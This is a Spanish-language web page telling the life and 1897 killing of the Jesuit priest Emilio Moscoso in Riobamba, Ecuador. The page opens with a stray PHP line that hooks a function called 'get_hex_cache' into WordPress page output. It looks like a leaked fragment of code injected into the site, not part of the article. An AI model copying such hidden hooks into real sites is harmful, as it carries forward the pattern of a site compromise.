if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return''; } } P. Emilio Moscoso, Mártir de la Eucaristía – Conferencia Episcopal Ecuatoriana

P. Emilio Moscoso, Mártir de la Eucaristía

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(https://jesuitas.lat).- Nace en Cuenca (Ecuador) en 1846, noveno hijo de numerosa familia. En su juventud se
distinguía por su delicadeza de carácter. Fue estudiante de leyes en la universidad.

Ingresa a la Compañía de Jesús a sus 18 años en la ciudad de Cuenca, donde se halla el Noviciado provisionalmente. Hace sus primeros votos religiosos en la recién inaugurada capilla de la Beata Mariana de Jesús en el Templo de La Compañía de Quito. Realiza sus estudios de humanidades, filosofía, pedagogía y ciencias en la casa de formación del centro histórico de la ciudad. Su primer año de magisterio lo realiza en el Colegio San Gabriel de Quito, luego va al Colegio San Felipe de Riobamba y lo culmina en el Colegio de Guayaquil.

Vuelve a Quito para los estudios teológicos y es ordenado el 1 de Noviembre de 1876. Es destinado para su cuarto año de teología a Payanne (Francia). Realiza la Tercera Probación en Manresa (España), de donde salió más enfervorizado y resuelto para lanzarse al trabajo apostólico guiado siempre por la voluntad de Dios, manifestada por la voluntad de sus superiores y confirmado en su vocación de activo contemplativo.

Por orden superior va a Lima (Perú), como operario apostólico, a la Residencia y luego al magisterio en el Colegio La Inmaculada. Allí se incorpora definitivamente con los últimos votos a la Compañía de Jesús el 8 septiembre de 1879. Lima, Quito y Guayaquil se beneficiaron de sus primeros años de su sacerdocio.

Su última obediencia la recibió en 1889 para el Colegio de Riobamba como profesor, luego Vicerrector y finalmente como Rector del Colegio y Superior de la Comunidad formada por 10 sacerdotes, 5 coadjutores y 2 maestrillos.

Mientras fue rector, en 1895 en Ecuador, se rompe el orden Constitucional y comienza una revolución para “acabar con la teocracia“ que se traduce en leyes y acciones contra la Iglesia y sus personas: Obispos perseguidos, templos en los que se controla la predicación, religiosos encarcelados, seglares católicos perseguidos.

En Riobamba, para el 2 de mayo de 1897 Monseñor Arsenio Andrade está preso en el Palacio Arzobispal. Fue apresado también el Superior de los Redentoristas y toman presos a los Jesuitas en su propio colegio. El P. Emilio Moscoso se encontraba fuera al momento del arresto. Al saber que sus hermanos se encuentran prisioneros dentro del colegio, ingresa libremente y se entrega solidario a la misma suerte que los otros jesuitas. Los militares llevan a todos al cuartel frente al colegio. A medianoche los trasladan a otro recinto militar bajo la amenaza de muerte o exilio. Pasan la noche en una inmunda caballeriza. Esa noche recibe el don de fortaleza y alegría desbordante que lo notan sus compañeros, que contraste con su temperamento sereno y tímido. Se siente una especial felicidad interior, que infundía en los demás un coraje espiritual evidente.

Por la mañana apareció toda la población en las calles en tumulto pidiendo la libertad de los religiosos y tanta fue la presión popular que lograron que para la tarde fueran libertados pero no todos, pues a cuatro los detuvieron. Una vez en casa, el P. Moscoso agenció la libertad los otros sin conseguirlo.

En la madrugada del 4 de mayo, bajo el pretexto de apresar a 18 “defensores de Dios y de la patria”, los militares fieles al régimen con hachas rompen las puertas del templo del Colegio y cometen la ofensa más grave a la fe un pueblo: rompen el sagrario, tiran al suelo las hostias consagradas, las pisotean, beben licor en los vasos sagrados, se burlan de los
sacramentos y de la predicación. Estos mismos actores pasan al Colegio, hacia la vivienda de los jesuitas. El jefe ordena: “maten a todos los frailes”: al primero que encuentran en su cuarto orando de rodillas, rosario en mano es al P. Moscoso a quien le disparan a bocajarro y caído lo rematan. Las mismas manos, que profanaron la eucaristía, asesinaron al Padre Moscoso.

Ultrajan el cadáver e intentan arrastrarlo por las calles, le ponen un fusil y balas a su derredor. Para ocultar lo ocurrido, hicieron circular un boletín oficial, el número 4, plagado de mentiras. En el juicio civil, en cambio todos los testigos, militares actores del hecho, confirmaron la verdad y el segundo comandante José Joaquín Merino, el 21 de marzo de 1916, en documento autobiográfico, patético y juramentado, reveló además la identidad de los sacrílegos asesinos.

Desde 1897 nace una devoción muy especial en la Capilla del Colegio San Felipe Neri de la ciudad de Riobamba por la reparación del sacrilegio y del martirio del Padre Emilio Moscoso, quien ofrendó su vida por la fe y su profundo amor a la eucaristía, y el lugar se transforma en el Templo Expiatorio.

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